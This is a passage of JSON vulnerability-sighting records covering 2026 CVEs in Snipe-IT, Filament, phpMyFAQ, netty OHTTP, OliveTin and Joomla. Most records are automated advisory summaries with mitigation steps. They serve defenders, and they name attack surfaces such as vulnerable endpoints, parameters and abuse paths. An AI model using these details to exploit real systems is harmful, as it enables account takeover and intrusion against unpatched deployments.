"", "creation_timestamp": "2026-06-23T14:03:56.442397Z"}, {"uuid": "708f5606-d759-4e23-bc63-1735743d3003", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3moxxxkctdg2v", "content": "Third critical CVE added to CISA's KEV list this month. Same pattern every time.\n\nCVE-2026-48907.\n\nhttps://www.yazoul.net/news/article/cisa-warns-of-actively-exploited-joomla-jce-flaw-allowing-php-code-execution/\n\n#CVE #CyberSecurity", "creation_timestamp": "2026-06-23T17:56:38.852227Z"}, {"uuid": "ec5ca4c8-0a8f-4b8b-89a2-3bb5b94bee20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48126", "type": "published-proof-of-concept", "source": "https://github.com/xyproto/algernon/security/advisories/GHSA-jc3j-x6pg-4hmv", "content": "", "creation_timestamp": "2026-05-24T00:08:50.000000Z"}, {"uuid": "949217cb-e2ae-4b50-a6ad-e11f85e95bf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48493", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moylygqbc626", "content": "CVE-2026-48493 - Snipe-IT Vulnerable to Privilege Escalation for self via API Permissions Assignment\nCVE ID : CVE-2026-48493\n \n Published : June 23, 2026, 10:11 p.m. | 1\u00a0hour, 33\u00a0minutes ago\n \n Description : Snipe-IT is an IT asset/license management system. In versions prior ...", "creation_timestamp": "2026-06-23T23:55:06.773368Z"}, {"uuid": "681024e9-eecb-4144-abaf-c26b600c4ca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48507", "type": "seen", "source": "https://gist.github.com/alon710/3da2d0271b4ce13266c6eb8e48512bfd", "content": "# CVE-2026-48507: CVE-2026-48507: Incorrect Authorization in Snipe-IT Bulk User Edit and Merge Features\n\n> **CVSS Score:** 7.1\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48507\n\n## Summary\nAn incorrect authorization vulnerability (CWE-863) in Snipe-IT versions prior to 8.6.0 allows authenticated, low-privileged users with granular 'users.edit' permissions to modify restricted user flags ('activated' and 'ldap_import') and merge high-privileged administrator accounts into standard user accounts. This allows an attacker to lock administrators out of the system or completely hijack administrator accounts.\n\n## TL;DR\nLow-privileged users with 'users.edit' permissions in Snipe-IT < 8.6.0 can deactivate administrative accounts or hijack them via bulk edit and user merge features, leading to complete Denial of Service or horizontal privilege escalation.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-863 (Incorrect Authorization)\n- **Attack Vector**: Network / Remote\n- **CVSS Score**: 7.1 (High)\n- **EPSS Score**: 0.00194 (Percentile: 9.18%)\n- **Impact**: Privilege Escalation / Denial of Service (Administrator Lockout)\n- **Exploit Status**: Proof-of-Concept via Integration Tests\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Snipe-IT Asset Management System (versions prior to 8.6.0)\n- **Snipe-IT**: < 8.6.0 (Fixed in: `8.6.0`)\n\n## Mitigation\n\n- Upgrade Snipe-IT to version 8.6.0 or later immediately\n- Revoke 'users.edit' and 'users.delete' permissions from low-privileged users if upgrading is not immediately possible\n- Deploy WAF rules or reverse proxy blocks on endpoints '/users/bulkeditsave' and '/users/merge/save' for non-admin accounts\n\n**Remediation Steps:**\n1. Check current Snipe-IT version using administrative panel or command line\n2. If version is less than 8.6.0, run the database and codebase update tools to move to 8.6.0\n3. Verify permissions within 'Settings > Groups' to check if low-privileged users possess access to bulk-edit and user-merge actions\n4. Monitor application logs for POST actions on '/users/bulkeditsave' containing 'activated=0' payload parameters\n\n## References\n\n- [GitHub Security Advisory (GHSA-6f75-x745-xcpr)](https://github.com/grokability/snipe-it/security/advisories/GHSA-6f75-x745-xcpr)\n- [Official Patch Commit](https://github.com/grokability/snipe-it/commit/403f9c848b05274642f64450696bdcdc242a352a)\n- [CVE.org Record](https://www.cve.org/CVERecord?id=CVE-2026-48507)\n- [Wiz Vulnerability Database Details](https://www.wiz.io/vulnerability-database/cve/cve-2026-48507)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48507) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T02:11:40.000000Z"}, {"uuid": "8405dc0f-f333-4d95-8e55-4a7f6ed2b40c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48507", "type": "seen", "source": "https://gist.github.com/alon710/e0c0df432c86420f7e6e4e56d0b5a192", "content": "# CVE-2026-48507: CVE-2026-48507: Incorrect Authorization in Snipe-IT Bulk User Edit and Merge Features\n\n> **CVSS Score:** 7.1\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48507\n\n## Summary\nAn incorrect authorization vulnerability (CWE-863) in Snipe-IT versions prior to 8.6.0 allows authenticated, low-privileged users with granular 'users.edit' permissions to modify restricted user flags ('activated' and 'ldap_import') and merge high-privileged administrator accounts into standard user accounts. This allows an attacker to lock administrators out of the system or completely hijack administrator accounts.\n\n## TL;DR\nLow-privileged users with 'users.edit' permissions in Snipe-IT < 8.6.0 can deactivate administrative accounts or hijack them via bulk edit and user merge features, leading to complete Denial of Service or horizontal privilege escalation.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-863 (Incorrect Authorization)\n- **Attack Vector**: Network / Remote\n- **CVSS Score**: 7.1 (High)\n- **EPSS Score**: 0.00194 (Percentile: 9.18%)\n- **Impact**: Privilege Escalation / Denial of Service (Administrator Lockout)\n- **Exploit Status**: Proof-of-Concept via Integration Tests\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Snipe-IT Asset Management System (versions prior to 8.6.0)\n- **Snipe-IT**: < 8.6.0 (Fixed in: `8.6.0`)\n\n## Mitigation\n\n- Upgrade Snipe-IT to version 8.6.0 or later immediately\n- Revoke 'users.edit' and 'users.delete' permissions from low-privileged users if upgrading is not immediately possible\n- Deploy WAF rules or reverse proxy blocks on endpoints '/users/bulkeditsave' and '/users/merge/save' for non-admin accounts\n\n**Remediation Steps:**\n1. Check current Snipe-IT version using administrative panel or command line\n2. If version is less than 8.6.0, run the database and codebase update tools to move to 8.6.0\n3. Verify permissions within 'Settings > Groups' to check if low-privileged users possess access to bulk-edit and user-merge actions\n4. Monitor application logs for POST actions on '/users/bulkeditsave' containing 'activated=0' payload parameters\n\n## References\n\n- [GitHub Security Advisory (GHSA-6f75-x745-xcpr)](https://github.com/grokability/snipe-it/security/advisories/GHSA-6f75-x745-xcpr)\n- [Official Patch Commit](https://github.com/grokability/snipe-it/commit/403f9c848b05274642f64450696bdcdc242a352a)\n- [CVE.org Record](https://www.cve.org/CVERecord?id=CVE-2026-48507)\n- [Wiz Vulnerability Database Details](https://www.wiz.io/vulnerability-database/cve/cve-2026-48507)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48507) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T02:22:36.000000Z"}, {"uuid": "3d81cef0-eeae-496f-bc63-51e95fa5cf38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48746", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116802831734908948", "content": "Attention, elevated activities detected targeting vLLM (CVE-2026-48746) https://vuldb.com/vuln/372828/cti", "creation_timestamp": "2026-06-24T02:56:13.208179Z"}, {"uuid": "6fa5823d-5693-4f75-8050-12e1be6ebf08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48500", "type": "seen", "source": "https://gist.github.com/alon710/f3efb3a6eb14f85378da7277ba2da374", "content": "# CVE-2026-48500: CVE-2026-48500: Unauthenticated File Upload and Resource Exhaustion in Filament Admins\n\n> **CVSS Score:** 6.5\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48500\n\n## Summary\nCVE-2026-48500 is an authorization bypass vulnerability within Filament, a full-stack Laravel administration panel suite. The flaw arises from the unauthenticated exposure of Livewire's file upload RPC endpoints on guest-facing pages, allowing remote actors to upload arbitrary files to temporary storage, potentially leading to storage exhaustion and service disruption.\n\n## TL;DR\nUnauthenticated users can exploit exposed Livewire file-upload endpoints on public pages to write arbitrary files to server storage, causing potential denial-of-service conditions.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-862\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 6.5\n- **EPSS Score**: 0.00207 (10.69th percentile)\n- **Impact**: Storage depletion, Denial of Service (DoS)\n- **Exploit Status**: PoC / Conceptual\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- Filament Admin Panels for Laravel (filament/filament)\n- **filament/filament**: >= 3.0.0, < 3.3.52 (Fixed in: `3.3.52`)\n- **filament/filament**: >= 4.0.0, < 4.11.5 (Fixed in: `4.11.5`)\n- **filament/filament**: >= 5.0.0, < 5.6.5 (Fixed in: `5.6.5`)\n\n## Mitigation\n\n- Upgrade filament/filament dependency to patched versions\n- Implement custom web application firewalls or middleware to block upload RPCs on unauthenticated login routes\n- Ensure all custom public Livewire components enforce strict schema limits on dynamic file handling traits\n\n**Remediation Steps:**\n1. Verify current Filament version via 'composer show filament/filament'\n2. Run 'composer update filament/filament' to pull down the latest patch updates\n3. Apply RestrictsFileUploadsToSchemaComponents or RestrictsFileUploadsToFormComponents to custom public-facing components\n\n## References\n\n- [GitHub Security Advisory GHSA-44wp-g8f4-f4v5](https://github.com/filamentphp/filament/security/advisories/GHSA-44wp-g8f4-f4v5)\n- [CVE-2026-48500 Authority Record](https://www.cve.org/CVERecord?id=CVE-2026-48500)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48500) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T04:42:12.000000Z"}, {"uuid": "960c1723-469c-43a3-9813-12a32af7e390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48493", "type": "seen", "source": "https://gist.github.com/alon710/0deb8ac6eb09e699071fdbd4071e986c", "content": "# CVE-2026-48493: CVE-2026-48493: Self-Privilege Escalation via Profile Modification in Snipe-IT\n\n> **CVSS Score:** 5.5\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48493\n\n## Summary\nA privilege escalation vulnerability in Snipe-IT versions prior to 8.6.0 allows authenticated users with profile-editing capabilities to elevate their own permissions by performing a PATCH request on their own user endpoint.\n\n## TL;DR\nAuthenticated users with 'users.edit' can modify their own accounts via the API to self-grant arbitrary permissions, excluding global admin/superuser roles.\n\n## Technical Details\n\n- **CWE ID**: CWE-863\n- **Attack Vector**: Network\n- **CVSS Score**: 5.5\n- **EPSS Score**: Not Indexed\n- **Impact**: Privilege Escalation\n- **Exploit Status**: poc\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Snipe-IT prior to 8.6.0\n- **Snipe-IT**: < 8.6.0 (Fixed in: `8.6.0`)\n\n## Mitigation\n\n- Upgrade to Snipe-IT 8.6.0 or newer\n- Audit and restrict 'users.edit' permissions for non-admin accounts\n- Revoke API tokens for standard users during interim mitigation period\n\n**Remediation Steps:**\n1. Identify running Snipe-IT version using the administrative dashboard.\n2. Execute backup of the application database and configuration files.\n3. Pull the latest release of Snipe-IT (version 8.6.0 or higher).\n4. Run the standard database migration and upgrade commands.\n5. Verify that self-privilege escalation attempts are blocked by testing a non-admin account.\n\n## References\n\n- [Official GitHub Advisory Page](https://github.com/grokability/snipe-it/security/advisories/GHSA-52fw-7fw2-fmv5)\n- [Official Fix Pull Request](https://github.com/grokability/snipe-it/pull/19024)\n- [CVE Record Details](https://www.cve.org/CVERecord?id=CVE-2026-48493)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48493) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T05:42:05.000000Z"}, {"uuid": "16b7ccd8-cb87-4099-9ecd-fb11e46ebf87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48488", "type": "seen", "source": "https://gist.github.com/alon710/e0871f429bd0cd1c539be9054ab3870b", "content": "# CVE-2026-48488: CVE-2026-48488: Weak Cryptographic Hash (SHA-1) Usage for Attachment Encryption Keys in phpMyFAQ\n\n> **CVSS Score:** 2.7\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48488\n\n## Summary\nPrior to version 4.1.4, phpMyFAQ used the cryptographically broken SHA-1 algorithm to hash custom attachment encryption keys stored in the database. Attackers with database access can recover these plaintext keys through offline brute-force attacks and subsequently decrypt sensitive file attachments.\n\n## TL;DR\nphpMyFAQ stored SHA-1 hashes of custom attachment encryption keys in the database. Attackers gaining database read access can rapidly crack these hashes offline to decrypt sensitive attachments.\n\n## Technical Details\n\n- **CWE ID**: CWE-328 (Use of Weak Hash)\n- **Attack Vector**: Network (AV:N)\n- **CVSS v4.0**: 2.7 (Low)\n- **EPSS Score**: 0.00182\n- **Impact**: Low (Confidentiality compromise of encrypted attachments)\n- **Exploit Status**: None\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- phpMyFAQ\n- **phpMyFAQ**: < 4.1.4 (Fixed in: `4.1.4`)\n\n## Mitigation\n\n- Upgrade phpMyFAQ to version 4.1.4 or higher\n- Manually sanitize historical SHA-1 hashes from the database\n- Rotate attachment encryption keys if a database breach has occurred\n\n**Remediation Steps:**\n1. Upgrade the phpMyFAQ application code to version 4.1.4 or later\n2. Run the SQL command to clear legacy columns: UPDATE faqattachment SET password_hash = NULL;\n3. Audit database read access logs to ensure no unauthorized access has occurred\n\n## References\n\n- [GHSA-58fg-62fg-3fcj: Weak Cryptography in phpMyFAQ Attachment Keys](https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-58fg-62fg-3fcj)\n- [Fix Commit: Remove password hashing and password property from Attachment](https://github.com/thorsten/phpMyFAQ/commit/1aa9be6f8a2fa5c527c983826205229fc3129718)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48488) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T06:12:05.000000Z"}, {"uuid": "34ce8e50-5964-4ce8-a26b-bfe41c2baefa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48480", "type": "seen", "source": "https://gist.github.com/alon710/ce3b2aa80a723c8da0f2d02f44d2e2db", "content": "# CVE-2026-48480: CVE-2026-48480: Undetected Stream Truncation in netty-incubator-codec-ohttp\n\n> **CVSS Score:** 6.6\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48480\n\n## Summary\nThe Netty incubator codec for Oblivious HTTP (OHTTP) fails to verify that a cryptographically signed final chunk is received before the outer HTTP body terminates. This missing validation allows an on-path adversary to truncate chunked-OHTTP messages cleanly at a non-final chunk boundary, leading to undetected data truncation and compromising message integrity. The vulnerability affects multiple versions of the maven package io.netty.incubator:netty-incubator-codec-ohttp prior to 0.0.22.Final.\n\n## TL;DR\nAn on-path adversary can cleanly truncate a chunked-OHTTP stream at a non-final chunk boundary, bypassing integrity checks without triggering decryption errors or application exceptions.\n\n## Technical Details\n\n- **CWE ID**: CWE-325\n- **Vulnerability Type**: Missing Cryptographic Step\n- **Attack Vector**: Network (AV:N)\n- **CVSS v4.0**: 6.6 (Medium)\n- **EPSS Score**: 0.00167\n- **Exploit Status**: PoC / Test-Only\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- io.netty.incubator:netty-incubator-codec-ohttp\n- **netty-incubator-codec-ohttp**: < 0.0.22.Final (Fixed in: `0.0.22.Final`)\n\n## Mitigation\n\n- Upgrade netty-incubator-codec-ohttp to version 0.0.22.Final or higher.\n- Implement log monitoring for CorruptedFrameException indicating OHTTP stream truncation.\n- Enforce strict validation of message lengths at the application layer where possible.\n\n**Remediation Steps:**\n1. Identify all Maven dependencies referencing io.netty.incubator:netty-incubator-codec-ohttp.\n2. Update the dependency version in pom.xml to 0.0.22.Final.\n3. Rebuild and redeploy the affected applications.\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48480) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T06:42:05.000000Z"}, {"uuid": "2b6a0b2e-7d6f-4658-bc26-5e0581e54a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48167", "type": "seen", "source": "https://gist.github.com/alon710/ef60a8d2e003433e0632a30f0def6b96", "content": "# CVE-2026-48167: CVE-2026-48167: Stored Cross-Site Scripting (XSS) via Attribute Injection in Filament ImageColumn and ImageEntry\n\n> **CVSS Score:** 6.4\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48167\n\n## Summary\nFilament's ImageColumn (used in tables) and ImageEntry (used in infolists) components render database values inside HTML attributes without validation or sanitization. This allows an attacker to inject arbitrary HTML attributes, leading to Stored Cross-Site Scripting (XSS).\n\n## TL;DR\nAn HTML attribute injection vulnerability in Filament v4.x and v5.x allows authenticated users with database write privileges to inject arbitrary JavaScript payloads into image components, executing code in the security context of administrators viewing the record.\n\n## Technical Details\n\n- **CWE ID**: CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- **Attack Vector**: Network / Low Privileges Required\n- **CVSS v3.1 Score**: 6.4\n- **EPSS Score**: 0.00148 (0.15% probability)\n- **Impact**: Stored Cross-Site Scripting (XSS)\n- **Exploit Status**: No active public exploits\n\n## Affected Systems\n\n- Laravel applications implementing Filament tables with ImageColumn components\n- Laravel applications implementing Filament infolists with ImageEntry components\n- **filament/tables**: >= 4.0.0, < 4.11.5 (Fixed in: `4.11.5`)\n- **filament/tables**: >= 5.0.0, < 5.6.5 (Fixed in: `5.6.5`)\n- **filament/infolists**: >= 4.0.0, < 4.11.5 (Fixed in: `4.11.5`)\n- **filament/infolists**: >= 5.0.0, < 5.6.5 (Fixed in: `5.6.5`)\n\n## Mitigation\n\n- Upgrade to patched upstream library versions\n- Verify and audit published local Blade template overrides\n- Enforce standard Content Security Policy (CSP) configurations restricting inline script executions\n- Validate user-provided image URLs prior to database persistence\n\n**Remediation Steps:**\n1. Run 'composer update filament/filament' in your terminal.\n2. Ensure package composer.json references >=4.11.5 or >=5.6.5.\n3. Inspect files in 'resources/views/vendor/filament' for raw unescaped output references.\n4. Query databases for potentially dangerous string entries inside columns rendered by ImageColumn components.\n\n## References\n\n- [GHSA-3fc8-8hp6-6jr4](https://github.com/filamentphp/filament/security/advisories/GHSA-3fc8-8hp6-6jr4)\n- [CVE-2026-48167 Authoritative CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-48167)\n- [Filament Vulnerability Fix Commit](https://github.com/filamentphp/filament/commit/e1f36a7316d75476f3301e044cc360d7cb746c56)\n- [National Vulnerability Database Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-48167)\n- [Official Package Repository](https://github.com/filamentphp/filament)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48167) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T07:11:47.000000Z"}, {"uuid": "7686756a-f0ae-44e1-80c2-4e1c9aefdece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48166", "type": "seen", "source": "https://gist.github.com/alon710/0cc6180222e375f03b77f1081a3811f5", "content": "# CVE-2026-48166: CVE-2026-48166: Timing-Based User Enumeration on Login Page in Filament\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-06-23\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48166\n\n## Summary\nAn observable timing discrepancy vulnerability (CWE-208) in Filament's administrative login page allows unauthenticated remote attackers to determine the existence of registered email addresses. This timing side-channel arises from short-circuiting logic that skips expensive password hashing checks when a queried email address is not found in the database. Attackers can execute statistical timing attacks to map active administrator accounts, facilitating subsequent targeted brute-force or credential-stuffing campaigns.\n\n## TL;DR\nA timing-based user enumeration vulnerability in Filament login pages allows unauthenticated remote attackers to identify valid registered email addresses due to a short-circuiting logic flaw in the authentication mechanism.\n\n## Technical Details\n\n- **CWE ID**: CWE-208\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 5.3 (Medium)\n- **EPSS Score**: 0.0021\n- **Exploit Status**: None\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- filament/filament\n- Filament Panels\n- Filament Auth Page\n- **filament/filament**: >= 4.0.0, < 4.11.5 (Fixed in: `4.11.5`)\n- **filament/filament**: >= 5.0.0, < 5.6.5 (Fixed in: `5.6.5`)\n\n## Mitigation\n\n- Upgrade filament/filament package to 4.11.5 (for v4.x) or 5.6.5 (for v5.x).\n- Increase the timebox_duration configuration in auth.php to exceed peak CPU hashing latencies.\n- Deploy web application rate limiting on the login route to block automated sequential timing tests.\n\n**Remediation Steps:**\n1. Verify the current Filament version via 'composer show filament/filament'.\n2. Run 'composer update filament/filament' to apply the official security patch.\n3. Review 'config/auth.php' and adjust the 'timebox_duration' config variable based on production hardware constraints.\n4. Implement rate limit configurations at the web server (Nginx/Apache) or reverse proxy layer for the administrative login URI.\n\n## References\n\n- [GHSA-5w46-g9pq-wh6f: Timing-Based User Enumeration on Login Page in Filament](https://github.com/filamentphp/filament/security/advisories/GHSA-5w46-g9pq-wh6f)\n- [Fix Commit 33a9f576efb0d43372607487aebd17eae4315f1f](https://github.com/filamentphp/filament/commit/33a9f576efb0d43372607487aebd17eae4315f1f)\n- [CVE-2026-48166 on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-48166)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48166) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T07:42:24.000000Z"}, {"uuid": "1da2d5f9-c5b2-4bcc-9453-3a777ef61216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mozp5jynyo2p", "content": "\u26a0\ufe0f CISA just added another Joomla bug to its exploited list. This one is already in the wild.\n\nCVE-2026-48907.\n\nhttps://www.yazoul.net/news/article/cisa-warns-of-actively-exploited-joomla-jce-flaw-allowing-php-code-execution/\n\n#CVE #CyberSecurity", "creation_timestamp": "2026-06-24T10:24:15.739524Z"}, {"uuid": "8994479c-53a2-465d-bff6-8345301fac89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-48939.yaml", "content": "", "creation_timestamp": "2026-08-06T09:00:05.456870Z"}, {"uuid": "5ad14ce6-fdb3-4c0f-91b5-4edbe96f3f5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/censys.bsky.social/post/3mp2bbz5mii2b", "content": "\ud83d\udea8 CVE-2026-48908 (CVSS 10.0) A critical flaw in Joomla's SP Page Builder can enable unauthenticated file upload & potential RCE:\n\u25aa\ufe0fVersions 1.0.0\u20136.6.1 affected\n\u25aa\ufe0fActive exploitation reported\n\u25aa\ufe0fPatched in 6.6.2\n\nCensys observed 194,793 web properties loading the component. https://bit.ly/43Y8ONk ", "creation_timestamp": "2026-06-24T15:48:54.608990Z"}, {"uuid": "cd8be0af-a6ff-42c3-a67b-af9d1f1f68e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48709", "type": "published-proof-of-concept", "source": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx", "content": "", "creation_timestamp": "2026-06-24T18:35:05.246942Z"}, {"uuid": "ee9567de-ac9f-4c30-b983-6635cfdeb129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48708", "type": "published-proof-of-concept", "source": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-7fq5-7wr8-rjwj", "content": "", "creation_timestamp": "2026-06-24T18:35:07.665338Z"}, {"uuid": "258998c1-54ba-4029-bb11-c6cda285967b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48709", "type": "seen", "source": "https://gist.github.com/alon710/f2b2f51072808beda8e52a43b0bdd064", "content": "# CVE-2026-48709: CVE-2026-48709: Missing Authorization in OliveTin ValidateArgumentType RPC Endpoint\n\n> **CVSS Score:** 3.7\n> **Published:** 2026-06-24\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48709\n\n## Summary\nA missing authorization vulnerability in the OliveTin system allows unauthenticated remote actors to query the ValidateArgumentType RPC endpoint. By exploiting this flaw, attackers can execute systematic brute-force and side-channel validation attacks to enumerate active action binding IDs, parameter structures, and operational metadata, bypassing configured guest authentication barriers.\n\n## TL;DR\nOliveTin prior to version 3000.13.0 exposes its ValidateArgumentType API endpoint to unauthenticated guest users. Remote attackers can leverage this missing access control to execute oracle-style enumeration attacks, mapping out administrative action binding IDs and parameter requirements.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-862\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1**: 3.7\n- **EPSS Score**: 0.00269\n- **Impact**: Low (Information Disclosure / Reconnaissance)\n- **Exploit Status**: Proof of Concept (PoC) documented\n- **KEV Status**: Not listed in CISA KEV\n\n## Affected Systems\n\n- OliveTin (All versions prior to 3000.13.0)\n- **OliveTin**: < 3000.13.0 (Fixed in: `3000.13.0`)\n\n## Mitigation\n\n- Upgrade OliveTin to version 3000.13.0 or later\n- Deploy a reverse proxy (Nginx/Caddy) to block access to the ValidateArgumentType RPC endpoints\n- Use high-entropy, randomized action titles to prevent brute-forcing of binding IDs\n\n**Remediation Steps:**\n1. Step 1: Identify all running OliveTin containers or binary instances in the environment.\n2. Step 2: Update the deployment configurations (Docker Compose, systemd) to reference version 3000.13.0 or higher.\n3. Step 3: If upgrade is delayed, add a location block in the reverse proxy configuration to return 403 for /api/ValidateArgumentType.\n4. Step 4: Audit existing action titles and rewrite highly predictable names using high-entropy suffixes.\n\n## References\n\n- [GHSA-f637-w7p2-m7fx: OliveTin Missing Authorization in ValidateArgumentType](https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx)\n- [NVD - CVE-2026-48709 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-48709)\n- [OliveTin GitHub Project Page](https://github.com/OliveTin/OliveTin)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48709) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T18:43:21.864665Z"}, {"uuid": "a2146757-f5ab-430e-bd03-70b0f1bac47c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48709", "type": "seen", "source": "https://gist.github.com/alon710/1366cab1be37fd922161593dd6bd5218", "content": "# CVE-2026-48709: CVE-2026-48709: Missing Authorization in OliveTin ValidateArgumentType RPC Endpoint\n\n> **CVSS Score:** 3.7\n> **Published:** 2026-06-24\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48709\n\n## Summary\nA missing authorization vulnerability in the OliveTin system allows unauthenticated remote actors to query the ValidateArgumentType RPC endpoint. By exploiting this flaw, attackers can execute systematic brute-force and side-channel validation attacks to enumerate active action binding IDs, parameter structures, and operational metadata, bypassing configured guest authentication barriers.\n\n## TL;DR\nOliveTin prior to version 3000.13.0 exposes its ValidateArgumentType API endpoint to unauthenticated guest users. Remote attackers can leverage this missing access control to execute oracle-style enumeration attacks, mapping out administrative action binding IDs and parameter requirements.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-862\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1**: 3.7\n- **EPSS Score**: 0.00269\n- **Impact**: Low (Information Disclosure / Reconnaissance)\n- **Exploit Status**: Proof of Concept (PoC) documented\n- **KEV Status**: Not listed in CISA KEV\n\n## Affected Systems\n\n- OliveTin (All versions 